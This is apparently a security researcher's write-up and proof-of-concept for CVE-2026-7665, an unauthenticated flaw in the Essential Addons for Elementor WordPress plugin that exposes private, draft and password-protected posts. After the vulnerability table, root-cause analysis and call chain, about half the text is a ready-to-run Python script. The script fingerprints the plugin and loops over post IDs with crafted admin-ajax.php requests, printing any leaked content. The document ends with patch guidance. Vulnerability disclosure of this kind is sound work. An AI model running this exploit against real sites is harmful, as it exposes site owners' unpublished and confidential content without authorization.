
Proof-of-concept exploit for CVE-2026-7665, an unauthenticated information disclosure in Essential Addons for Elementor, allowing extraction of private, draft, and password-protected WordPress posts.
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-7665 |
| Severity | Medium |
| CVSS Score | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Affected Plugin | Essential Addons for Elementor |
| Affected Versions | ≤ 6.6.4 |
| Active Installs | 1,000,000+ |
| CVE Assigned by | Wordfence (CNA) |
| Disclosed | June 2026 |
| Researcher | Anirudh Makkar |
The ajax_load_more AJAX handler in Essential Addons for Elementor did not enforce post visibility before returning post content. This allowed unauthenticated attackers to read private, password-protected, and draft WordPress posts by issuing a crafted wp-admin/admin-ajax.php request — no authentication or nonce required.
The plugin registers a handler on the wp_ajax_nopriv_eael_post_grid_load_more action hook, making it accessible to unauthenticated visitors. When this handler executes a WP_Query to fetch posts for the "load more" pagination feature, it does not call current_user_can('read_post', $post_id) or check get_post_status() against the requesting user's capabilities.
WordPress core relies on plugins to enforce post-level authorization in AJAX handlers — it does not do so automatically. The absence of this check means the handler returns full post content regardless of post visibility settings.
wp-admin/admin-ajax.php
→ do_action('wp_ajax_nopriv_eael_post_grid_load_more')
→ Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
→ WP_Query([
'post_status' => ['publish', 'private', 'draft'], // all statuses returned
...
])
→ [returns full post content without authorization check]
An unauthenticated attacker can enumerate and read:
This may expose sensitive business content, unreleased announcements, internal documentation published as WordPress posts, or any other non-public content managed through the WordPress editor.
#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4
Usage: python3 poc.py https://target.example.com [post_id]
Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""
import requests
import sys
import json
def check_target(base_url):
"""Verify the plugin is present."""
resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
return resp.status_code != 404
def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
url = f"{base_url}/wp-admin/admin-ajax.php"
data = {
"action": "eael_post_grid_load_more",
"widget_id": widget_id,
"page_id": page_id,
"post_id": str(post_id),
"page": "2",
}
try:
resp = requests.post(url, data=data, timeout=10)
if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
return resp.text
except requests.RequestException:
pass
return None
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
sys.exit(1)
target = sys.argv[1].rstrip("/")
start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 50
print(f"[*] Target: {target}")
print(f"[*] Probing post IDs {start_id}–{end_id}")
if not check_target(target):
print("[!] Plugin not detected — target may be patched or not running EAEL")
found = 0
for pid in range(start_id, end_id + 1):
result = fetch_private_post(target, pid)
if result:
found += 1
print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
print(result[:300])
print("..." if len(result) > 300 else "")
print(f"\n[*] Done. {found} post(s) with exposed content found.")
if __name__ == "__main__":
main()
Update Essential Addons for Elementor to version 6.6.5 or later.
The fix adds a current_user_can('read_post', $post_id) check inside the load-more handler before including any post in the query results.
Reported by Anirudh Makkar · LinkedIn